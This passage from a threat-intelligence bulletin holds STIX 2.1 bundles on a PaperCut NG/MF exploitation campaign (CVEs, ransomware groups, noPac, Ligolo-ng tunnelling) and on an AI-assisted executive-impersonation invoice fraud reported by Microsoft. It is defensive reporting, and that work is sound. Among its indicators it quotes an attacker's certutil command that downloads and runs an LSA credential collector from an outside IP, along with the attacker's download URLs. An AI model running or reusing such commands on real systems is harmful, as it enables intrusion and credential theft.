"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者工具库中包含certipy.exe，属于ADCS滥用工具",
"x_evidence": "certipy.exe — ADCS滥用工具；属于攻击者工具库",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8ea817fd-685d-4152-9f08-3e28d0e72ee4",
"relationship_type": "exploits",
"source_ref": "tool--4784a4fd-8352-4eb0-87eb-4cb14b4a846b",
"target_ref": "vulnerability--a22d0a23-d8ce-4e20-b933-47d716b9497c",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Metasploit利用模块针对CVE-2026-81578",
"x_evidence": "Metasploit利用模块在CVE-2026-81578被利用后公开可用",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4ea19aed-8dad-461c-9ddc-db779b50cd74",
"relationship_type": "exploits",
"source_ref": "tool--4784a4fd-8352-4eb0-87eb-4cb14b4a846b",
"target_ref": "vulnerability--e90e2ec7-cba0-456e-a0c1-0afb503584f1",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Metasploit利用模块针对CVE-2026-82078",
"x_evidence": "Metasploit利用模块在CVE-2026-82078被利用后公开可用",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1678ed00-38ff-4ea0-9ebd-f05e7f773fc4",
"relationship_type": "targets",
"source_ref": "vulnerability--a22d0a23-d8ce-4e20-b933-47d716b9497c",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "PaperCut NG/MF存在CVE-2026-81578漏洞",
"x_evidence": "CVE-2026-81578是PaperCut NG/MF Web管理接口关键功能缺失身份验证漏洞",
"x_confidence": 0.96
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--533b2f5d-d313-4ac3-b2b0-1a6f3a42aec8",
"relationship_type": "targets",
"source_ref": "vulnerability--e90e2ec7-cba0-456e-a0c1-0afb503584f1",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "PaperCut NG/MF存在CVE-2026-82078漏洞",
"x_evidence": "CVE-2026-82078是PaperCut NG/MF数据库连接工具组件不安全动态类加载漏洞",
"x_confidence": 0.96
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--cf1190e8-26cc-4502-8c0f-8e2cb052e094",
"relationship_type": "uses",
"source_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "PaperCut软件运行时使用pc-app.exe进程",
"x_evidence": "PaperCut服务进程pc-app.exe在Windows上默认以SYSTEM级权限运行",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--da23fa87-2de6-47b6-b1d9-be04791304ea",
"relationship_type": "exploits",
"source_ref": "intrusion-set--621f44bf-281b-4e7e-8bee-8b144badbdc2",
"target_ref": "vulnerability--2ca03dd0-6ad6-4978-a3ce-60aab95478e9",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Clop曾利用CVE-2023-27350",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--5c1c4f37-f613-4dd8-8b5e-49d3c9ead3f1",
"relationship_type": "exploits",
"source_ref": "intrusion-set--621f44bf-281b-4e7e-8bee-8b144badbdc2",
"target_ref": "vulnerability--bd7f2319-7635-4ff5-b425-c250b8326050",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Clop曾利用CVE-2023-27351",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9fb57870-7fbf-4b81-9f09-7f388363d6a3",
"relationship_type": "targets",
"source_ref": "intrusion-set--621f44bf-281b-4e7e-8bee-8b144badbdc2",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Clop曾将PaperCut NG/MF作为攻击目标",
"x_evidence": "Clop等勒索团伙大规模利用PaperCut漏洞",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3b56a572-0bce-4e32-8330-21300b42eb55",
"relationship_type": "exploits",
"source_ref": "intrusion-set--4f62692a-2660-4ace-8c04-a322a2a3c243",
"target_ref": "vulnerability--2ca03dd0-6ad6-4978-a3ce-60aab95478e9",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "LockBit曾利用CVE-2023-27350",
"x_evidence": "2023年CVE-2023-27350/27351就曾被LockBit大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8e18c2ee-99ba-45a4-aebf-7795999280f1",
"relationship_type": "exploits",
"source_ref": "intrusion-set--4f62692a-2660-4ace-8c04-a322a2a3c243",
"target_ref": "vulnerability--bd7f2319-7635-4ff5-b425-c250b8326050",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "LockBit曾利用CVE-2023-27351",
"x_evidence": "2023年CVE-2023-27350/27351就曾被LockBit大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--159611b2-6846-4878-9b57-6db80d86857c",
"relationship_type": "targets",
"source_ref": "intrusion-set--4f62692a-2660-4ace-8c04-a322a2a3c243",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "LockBit曾将PaperCut NG/MF作为攻击目标",
"x_evidence": "LockBit等勒索团伙大规模利用PaperCut漏洞",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--174eee74-2ae3-45db-8ec0-c2a3bb74f0cd",
"relationship_type": "exploits",
"source_ref": "intrusion-set--238b5866-ac2c-4cf7-a489-55fa3ffbf3fb",
"target_ref": "vulnerability--2ca03dd0-6ad6-4978-a3ce-60aab95478e9",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Bl00dy曾利用CVE-2023-27350",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Bl00dy大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7a7d569e-164a-4665-b564-10104300fc2c",
"relationship_type": "exploits",
"source_ref": "intrusion-set--238b5866-ac2c-4cf7-a489-55fa3ffbf3fb",
"target_ref": "vulnerability--bd7f2319-7635-4ff5-b425-c250b8326050",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Bl00dy曾利用CVE-2023-27351",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Bl00dy大规模利用",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3ec47316-8e9a-408a-aca3-ee9df9bf0705",
"relationship_type": "targets",
"source_ref": "intrusion-set--238b5866-ac2c-4cf7-a489-55fa3ffbf3fb",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Bl00dy曾将PaperCut NG/MF作为攻击目标",
"x_evidence": "Bl00dy等勒索团伙大规模利用PaperCut漏洞",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d8bb3406-fdb0-46d2-9f5f-78a563d41e31",
"relationship_type": "exploits",
"source_ref": "attack-pattern--2af7303c-f975-47e4-8907-33743ef4728f",
"target_ref": "vulnerability--fe84fdb1-8d8b-4418-9d44-f321457fc3ba",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "noPac攻击利用CVE-2021-42278进行域内提权",
"x_evidence": "受害环境未修复CVE-2021-42278/CVE-2021-42287时，攻击者直接发起noPac攻击",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e066c7bb-f62f-46a1-a506-6d04dd8f9a6a",
"relationship_type": "exploits",
"source_ref": "attack-pattern--2af7303c-f975-47e4-8907-33743ef4728f",
"target_ref": "vulnerability--e1b96fba-f83f-47dc-81ee-d9596b52cc26",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "noPac攻击利用CVE-2021-42287进行域内提权",
"x_evidence": "受害环境未修复CVE-2021-42278/CVE-2021-42287时，攻击者直接发起noPac攻击",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ae3612b0-4401-4abb-a37f-0aa8c03bf8f5",
"relationship_type": "uses",
"source_ref": "url--d6528eda-a3c2-4fb2-b886-3538fb9a7c39",
"target_ref": "ipv4-addr--2724394a-953e-409f-a015-898782e8c82b",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "LSA收集器下载地址托管于攻击基础设施IP",
"x_evidence": "http://45.142.193.132:8000/lsa_collect.exe 为LSA bootkey收集器下载地址",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--bb987d51-313f-4afa-9fab-c1d13b2aa444",
"relationship_type": "uses",
"source_ref": "url--03027a55-07a0-437d-8708-a4708cce6101",
"target_ref": "ipv4-addr--2724394a-953e-409f-a015-898782e8c82b",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Ligolo代理下载地址托管于攻击基础设施IP",
"x_evidence": "http://45.142.193.132:8089/agent5.exe 为Ligolo-ng代理下载地址",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4c7a9b92-58c5-45e0-b6aa-99c772c63807",
"relationship_type": "uses",
"source_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"target_ref": "url--d6528eda-a3c2-4fb2-b886-3538fb9a7c39",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "certutil命令从该URL下载LSA收集器",
"x_evidence": "certutil -urlcache -split -f http://45.142.193.132:8000/lsa_collect.exe",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6284a7be-5db3-4def-820b-2b0a81226140",
"relationship_type": "uses",
"source_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "certutil命令下载并运行lsa_collect.exe",
"x_evidence": "certutil ... lsa_collect.exe & C:\\Windows\\Temp\\lsa_collect.exe",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--45bbeb22-9b25-47f5-a688-f17a14a9606b",
"relationship_type": "uses",
"source_ref": "url--03027a55-07a0-437d-8708-a4708cce6101",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Ligolo代理下载地址关联ligolo-agent.exe",
"x_evidence": "http://45.142.193.132:8089/agent5.exe为Ligolo-ng代理下载地址；ligolo-agent.exe为Ligolo隧道代理",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--af03ed4b-cb77-4e36-88b6-85540893b1bc",
"relationship_type": "uses",
"source_ref": "tool--803dbc8b-2c1e-4612-8bb1-f4c1d5531bcf",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Ligolo-ng与ligolo-agent.exe相关联",
"x_evidence": "ligolo-agent.exe Ligolo隧道代理",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1bdde7c7-20e3-4521-9ae1-09730387df38",
"relationship_type": "uses",
"source_ref": "tool--803dbc8b-2c1e-4612-8bb1-f4c1d5531bcf",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Ligolo-ng使用伪装服务名legit-svc.exe",
"x_evidence": "legit-svc.exe Ligolo-ng伪装的服务名与路径",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b0d6a545-d9f3-4246-9697-44e1e7435303",
"relationship_type": "uses",
"source_ref": "tool--803dbc8b-2c1e-4612-8bb1-f4c1d5531bcf",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Ligolo-ng使用伪装服务名备份legit-svc-backup.exe",
"x_evidence": "legit-svc-backup.exe Ligolo-ng伪装的服务名备份",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--049836b4-faf3-4f5e-b0a2-5ecbad32d8b1",
"relationship_type": "uses",
"source_ref": "identity--704c127a-a16b-45d2-add8-0ce7a6953064",
"target_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "GreyNoise披露并持续跟踪此次攻击行动",
"x_evidence": "GreyNoise最新披露的一起针对PaperCut NG/MF的全球性攻击行动",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4df42127-1201-4e3f-a660-95d04f1e4669",
"relationship_type": "uses",
"source_ref": "identity--e317aeb3-7656-4c14-9814-9ef7670fd5d0",
"target_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Huntress在客户环境中观测到最早的利用尝试",
"x_evidence": "8月26日Huntress在客户环境中观测到最早的利用尝试",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--a1a4a7b0-9837-44f4-8299-3bfe23381f37",
"relationship_type": "uses",
"source_ref": "identity--3ffa85e8-6437-4865-8f9f-da2605f61bb8",
"target_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "watchTowr发现PaperCut首版补丁存在绕过问题",
"x_evidence": "watchTowr与Huntress发现首版补丁存在多种绕过方式",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--683bc675-1038-4f34-a22e-de3f4bbcea06",
"relationship_type": "uses",
"source_ref": "identity--20e3c2a1-2f1a-4df0-b590-5ae6dc057ff0",
"target_ref": "vulnerability--a22d0a23-d8ce-4e20-b933-47d716b9497c",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "CISA将CVE-2026-81578列入已知被利用漏洞目录",
"x_evidence": "CISA将两个CVE同时列入已知被利用漏洞目录",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--991853c7-6835-46ad-b8ac-63fe54f8ce05",
"relationship_type": "uses",
"source_ref": "identity--20e3c2a1-2f1a-4df0-b590-5ae6dc057ff0",
"target_ref": "vulnerability--e90e2ec7-cba0-456e-a0c1-0afb503584f1",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "CISA将CVE-2026-82078列入已知被利用漏洞目录",
"x_evidence": "CISA将两个CVE同时列入已知被利用漏洞目录",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f9b95fc2-4fd7-4cda-beb2-4cc10104d193",
"relationship_type": "uses",
"source_ref": "identity--bc0e55c3-ea6f-4bb7-ac3d-1e6add6cb2c1",
"target_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "Cloudflare Web应用防火墙成功挫败攻击者",
"x_evidence": "Cloudflare的Web应用防火墙成功挫败了攻击者",
"x_confidence": 0.85
}
]
}报告链接：
http://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247520315&idx=1&sn=a3fdb128f4f336bd12525bb09f93e54a
───────────────────────────────────
（二）AI辅助高管冒充实施发票欺诈
事件名称：保护组织免受AI辅助的高管冒充和发票欺诈
发布日期：2026-09-10
发布机构：Microsoft
威胁概述：
Microsoft披露，攻击者使用AI辅助生成邮件模板，通过第三方邮件基础设施和仿冒域名冒充企业高管及ServiceNow，向目标财务部门发送虚假发票。邮件同时伪造高管指令和双方对话记录，企图诱导财务人员发起近5万美元的ACH转账，形成生成式AI辅助的商业电邮妥协风险。
IOC指标：
· Domain：service-nowinc.com, domainlify.net
STIX详情：
{
"type": "bundle",
"id": "bundle--28ea8882-9054-486c-9008-6e62288e200d",
"spec_version": "2.1",
"objects": [
{
"type": "campaign",
"spec_version": "2.1",
"id": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"name": "executive impersonation and invoice fraud campaign",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "使用AI辅助进行高管冒充和发票欺诈的网络钓鱼活动，向受害者的财务团队发送虚假发票，试图进行ACH支付欺诈。",
"x_evidence": "Microsoft examines an AI-assisted business email compromise campaign that used executive impersonation and fake invoices to target finance teams with ACH payment fraud.",
"x_confidence": 0.95
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--17cc07bd-f6ea-4d7f-8bbb-fff1fd41a466",
"name": "ServiceNow",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "被攻击者伪造和冒充的合法品牌及公司实体。",
"x_evidence": "The threat actor impersonated CEOs... included a forwarded email thread (and a fabricated invoice) between the impersonated CEO and ServiceNow (which was also being impersonated).",
"x_confidence": 0.95
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--b503bda1-1cd8-4941-8f28-b55a74b46258",
"name": "Unidentified Threat Actor",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "未具名威胁行为者/攻击者，执行AI辅助高管冒充与发票欺诈活动。",
"x_evidence": "The threat actor impersonated CEOs of multiple target companies, attempting to convince accounts payable departments of the same companies to process an ACH payment of nearly $50,000.",
"x_confidence": 0.75
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--022c5283-6082-4547-83bb-e3d5274ea90f",
"name": "Gather Victim Organization Information",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "攻击者收集目标组织及高管公开信息的攻击手法。",
"aliases": [
"T1591"
],
"x_evidence": "Threat actors collect publicly available information about target organizations, executives, finance personnel, vendors, and business relationships to build convincing invoice-fraud narratives.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--20c00763-efd6-41d9-8333-8067ef17f65f",
"name": "Phishing for Information",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "收集信息用于制作高度定向的BEC钓鱼诱饵。",
"aliases": [
"T1598"
],
"x_evidence": "Information gathered from victims and public sources is used to craft highly targeted business email compromise (BEC) lures.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--ea00c755-c1e0-4db6-8e95-f5bd4457e233",
"name": "Acquire Infrastructure: Domains",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "注册冒充受信任组织或供应商的域名。",
"aliases": [
"T1583.001"
],
"x_evidence": "Threat actors register domains that impersonate trusted organizations, vendors, or business partners.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--bdc209e5-bb79-413d-8812-8de835cd11ba",
"name": "Establish Accounts: Email Accounts",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "创建攻击者控制的邮箱账户用于欺诈通信。",
"aliases": [
"T1585.002"
],
"x_evidence": "Attacker-controlled email accounts are created to support impersonation and fraudulent communications.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--0ea748e3-0674-4b26-9486-016a3ce50119",
"name": "Acquire Infrastructure",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "利用第三方邮件分发基础设施进行攻击活动。",
"aliases": [
"T1583"
],
"x_evidence": "Third-party email delivery infrastructure and supporting services are leveraged to distribute campaigns.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--1e9edc47-f4c4-4c5e-96e1-41b11f98fd35",
"name": "Phishing",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "使用高管和供应商冒充主题将钓鱼邮件投递给财务人员。",
"aliases": [
"T1566"
],
"x_evidence": "Targeted phishing emails are delivered to finance personnel using executive and vendor impersonation themes.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--4daf3c68-372b-4a73-941a-acfb5fa00b33",
"name": "Spearphishing Attachment",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "在钓鱼邮件中附加虚假发票或支持文档。",
"aliases": [
"T1566.001"
],
"x_evidence": "Fraudulent invoices or supporting documents are attached to phishing emails.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--00f78100-2c6d-44da-bcab-1d5549ef6b70",
"name": "Spearphishing via Service",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "使用第三方邮件服务分发钓鱼信息并提升可信度。",
"aliases": [
"T1566.003"
],
"x_evidence": "Third-party email services are used to distribute phishing messages and improve legitimacy.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--184d2d42-6980-4e7d-9bd3-848686dddf87",
"name": "Masquerading",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "将邮件、域名、发票和业务通信伪装成合法的形式。",
"aliases": [
"T1036"
],
"x_evidence": "Attackers disguise emails, domains, invoices, and business correspondence as legitimate communications.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--001ee3b3-cf2e-4969-8b5f-ac46ff644ab6",
"name": "Impersonation",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "冒充高管、供应商和受信任企业以建立信誉并影响支付决策。",
"aliases": [
"T1656"
],
"x_evidence": "Executives, vendors, and trusted business entities are impersonated to establish credibility and influence payment decisions.",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--54b6a6d0-a33e-412f-938e-2c987115fcf8",
"name": "Financial Theft",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "通过虚假发票支付请求骗取受害者资金并转移到攻击者账户。",
"aliases": [
"T1657"
],
"x_evidence": "Victims are deceived into transferring funds to attacker-controlled financial accounts through fraudulent invoice payment requests.",
"x_confidence": 0.95
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--4b154b7f-afad-456f-a58a-ab53e86ed2ce",
"name": "service-nowinc.com",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "原文明确披露为仿冒ServiceNow的域名，用于伪造ServiceNow总裁邮箱和虚假发票联系方式，被用于钓鱼攻击。",
"x_evidence": "A ‘ServiceNow’ lookalike domain service-nowinc[.]com was registered on July 31... used for the spoofed email address of ServiceNow President... also used in several places in the fabricated invoice.",
"x_confidence": 0.95
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--8293e037-05c0-4d32-9eb8-e750db20c11a",
"name": "domainlify.net",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "原文明确披露为攻击者注册并用于Reply-To地址的域名，被用于钓鱼投递。",
"x_evidence": "The domain domainlify[.]net was used in the Reply-To email.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--27035b99-ba3a-4092-9af9-dac84638ac64",
"relationship_type": "attributed-to",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "intrusion-set--b503bda1-1cd8-4941-8f28-b55a74b46258",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该发票欺诈活动被归因于未具名威胁行为者。",
"x_evidence": "The threat actor impersonated CEOs of multiple target companies... Microsoft detected a campaign consisting of more than a million emails.",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--01cd6c5d-f694-4673-ab4f-352837191461",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "identity--17cc07bd-f6ea-4d7f-8bbb-fff1fd41a466",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动在钓鱼邮件和伪造发票中冒充并使用ServiceNow品牌/公司实体以提高可信度。",
"x_evidence": "The actor included a forwarded email thread (and a fabricated invoice) between the impersonated CEO and ServiceNow (which was also being impersonated).",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--bf9baddf-fe5d-4995-a339-2720751d37d9",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--022c5283-6082-4547-83bb-e3d5274ea90f",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用收集目标组织及高管公开信息的攻击手法。",
"x_evidence": "Threat actors collect publicly available information about target organizations, executives, finance personnel, vendors, and business relationships.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b0c054ad-f902-4fb2-ac59-f0c67074cb3e",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--20c00763-efd6-41d9-8333-8067ef17f65f",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用信息收集手法来制作高度定向的BEC钓鱼诱饵。",
"x_evidence": "Information gathered from victims and public sources is used to craft highly targeted business email compromise (BEC) lures.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f892ab93-6beb-49da-bbf3-87c166f0ee81",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--ea00c755-c1e0-4db6-8e95-f5bd4457e233",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动注册仿冒域名作为攻击基础设施。",
"x_evidence": "Threat actors register domains that impersonate trusted organizations, vendors, or business partners.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6a7bc6e3-0434-4fa1-a4fd-2423ae5e3323",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--bdc209e5-bb79-413d-8812-8de835cd11ba",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动创建攻击者控制的邮箱账户用于欺诈通信。",
"x_evidence": "Attacker-controlled email accounts are created to support impersonation and fraudulent communications.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c326fd6f-6f2e-4d4c-a384-c9194a79a7e3",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--0ea748e3-0674-4b26-9486-016a3ce50119",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动利用第三方邮件分发基础设施进行攻击。",
"x_evidence": "Third-party email delivery infrastructure and supporting services are leveraged to distribute campaigns.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--bf995077-e32f-46db-a0f6-c3e1358b0a12",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--1e9edc47-f4c4-4c5e-96e1-41b11f98fd35",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用钓鱼手法向财务人员投递诈骗邮件。",
"x_evidence": "Targeted phishing emails are delivered to finance personnel using executive and vendor impersonation themes.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--40f61c2a-9c80-4a1d-8490-29f3eba34477",
"relationship_type": "uses",
